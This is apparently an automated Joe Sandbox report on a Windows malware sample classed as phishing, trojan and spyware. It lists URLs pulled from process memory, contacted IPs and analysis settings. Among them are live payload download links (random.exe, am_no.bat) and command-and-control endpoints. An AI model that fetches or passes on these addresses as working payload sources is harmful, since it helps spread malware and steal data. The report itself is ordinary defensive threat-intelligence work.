http://31.41.244.11/files/GoodTimes306/random.exeYZ0123456789	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/7967666176/13Z5sqy.exe	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQg	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marka4.cyou/pData	bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/7343830477/oavvDqT.exeh7b	skotes.exe, 00000005.00000002.2631568166.000000000067F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/GoodTimes306/random.exe)/	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://misha-lomonosov.com/api7	BitLockerToGo.exe, 0000000E.00000003.2372938288.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	usPaQ3D.exe, 0000000B.00000002.2646654757.00000000033F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marka4.cyou/iLz48dGV4dCB0ZXh0LWFuY2hvcj0ibWlkZGxlIiB4PSI1M	bKIFsVe.exe, 00000016.00000003.2466072449.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000033.00000002.2650790528.0000023ED2000000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marka4.cyouf	bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marka4.cyoub	bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/lumma/random.exe	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://misha-lomonosov.com/e	BitLockerToGo.exe, 0000000E.00000003.2372938288.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354cIt	usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	false		high
http://31.41.244.11/files/5222311384/WZMQlGj.exe	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://marka4.cyouR	bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://femalsabler.shop:443/api	BitLockerToGo.exe, 0000000E.00000002.2385491570.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373211355.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://marka4.cyouL	bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://misha-lomonosov.com/T	BitLockerToGo.exe, 0000000E.00000003.2372938288.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marka4.cyouJ	bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://urn.to/r/sds_see	usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://marka4.cyouF	bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://yachtingiturkey.com/oldVNC.exe396pek	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	oldVNC.exe, 0000000D.00000000.2261750305.00000000008FE000.00000008.00000001.01000000.0000000E.sdmp	false		high
http://31.41.244.11/files/7202997285/HNsLLEj.exe	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://31.41.244.11/files/GoodTimes306/random.exe	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.openssl.org/V	oldVNC.exe, 0000000D.00000003.2276292058.000000007EB1A000.00000004.00001000.00020000.00000000.sdmp, oldVNC.exe, 0000000D.00000002.2660843321.000000006E66F000.00000040.00001000.00020000.00000000.sdmp, oldVNC.exe, 0000000D.00000003.2273430008.000000007EB44000.00000004.00001000.00020000.00000000.sdmp, oldVNC.exe, 0000000D.00000002.2654118973.0000000063469000.00000040.00001000.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://yachtingiturkey.com/oldVNC.exelencoded	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/soka/random.exeY	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.css	oldVNC.exe, 0000000D.00000000.2261750305.00000000008FE000.00000008.00000001.01000000.0000000E.sdmp	false		high
https://recaptcha.net/recaptcha/;	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marka4.cyou/0000	bKIFsVe.exe, 00000016.00000003.2466072449.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=Eq36AUaEgab8&l=en	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	oldVNC.exe, 0000000D.00000003.2265515903.000000007ECF0000.00000004.00001000.00020000.00000000.sdmp, oldVNC.exe, 0000000D.00000002.2654118973.0000000063281000.00000040.00001000.00020000.00000000.sdmp	false		high
https://handscreamny.shop:443/api	BitLockerToGo.exe, 0000000E.00000002.2385491570.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373211355.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199816275252	bKIFsVe.exe, 00000016.00000003.2374897749.0000000004820000.00000004.00001000.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000002.2629484397.0000000000401000.00000040.00000001.01000000.00000012.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/no111p8vi	bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://apis.google.com	chromecache_115.52.dr	false		high
https://steamcommunity.com/workshop/	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.jpg	oldVNC.exe, 0000000D.00000000.2261750305.00000000008FE000.00000008.00000001.01000000.0000000E.sdmp	false		high
https://yachtingiturkey.com/	skotes.exe, 00000005.00000002.2631568166.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/GoodTimes306/random.exeU.	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://misha-lomonosov.com/	BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://soundtappysk.shop:443/api	BitLockerToGo.exe, 0000000E.00000002.2385491570.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373211355.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/	BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	false		high
http://127.0.0.1:27060	BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpKw	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/test/am_no.bat	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
45.76.251.57	unknown	United States	20473	AS-CHOOPAUS	true
185.244.212.106	unknown	Romania	9009	M247GB	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
157.20.182.24	unknown	unknown	24297	FCNUniversityPublicCorporationOsakaJP	true
172.67.161.160	plodnittpw.lat	United States	13335	CLOUDFLARENETUS	true
142.250.184.206	play.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
172.217.16.142	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
116.203.166.124	marka4.cyou	Germany	24940	HETZNER-ASDE	true
162.0.209.157	yachtingiturkey.com	Canada	35893	ACPCA	false
104.21.14.233	misha-lomonosov.com	United States	13335	CLOUDFLARENETUS	true
194.32.76.77	unknown	Germany	202448	MVPShttpswwwmvpsnetEU	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589502
Start date and time:	2025-01-12 17:37:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	64
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UWYXurYZ2x.exe renamed because original name is a hash value
Original Sample Name:	c873c0af86d36318f23bf63377181cdd.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@109/90@32/18
EGA Information:	Successful, ratio: 37.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.40.149.189, 51.145.123.29, 4.175.87.197, 199.232.210.172, 52.165.164.15, 88.221.110.91, 2.16.100.168, 13.85.23.206, 20.189.173.22, 172.217.16.195, 216.58.206.78, 66.102.1.84, 172.217.18.14, 142.250.185.67, 172.217.23.110, 172.217.18.106, 172.217.18.10, 172.217.16.138, 142.250.185.170, 142.250.186.138, 142.250.185.202, 172.217.23.106, 142.250.184.234, 142.250.185.74, 142.250.186.74, 216.58.206.74, 216.58.212.170, 172.217.16.202, 142.250.186.42, 142.250.185.138, 142.250.185.106, 142.250.186.78, 2.23.242.162, 13.107.246.45, 20.190.159.0
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, twc.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, clientservices.googleapis.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, redirector.gvt1.com, login.live.com, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com
Execution Graph export aborted for target UWYXurYZ2x.exe, PID 7468 because it is empty
Execution Graph export aborted for target oavvDqT.exe, PID 1912 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7684 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7700 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:39:02	API Interceptor	60974x Sleep call for process: skotes.exe modified
11:39:42	API Interceptor	4x Sleep call for process: usPaQ3D.exe modified
11:39:58	API Interceptor	3x Sleep call for process: BitLockerToGo.exe modified
11:40:09	API Interceptor	89x Sleep call for process: powershell.exe modified
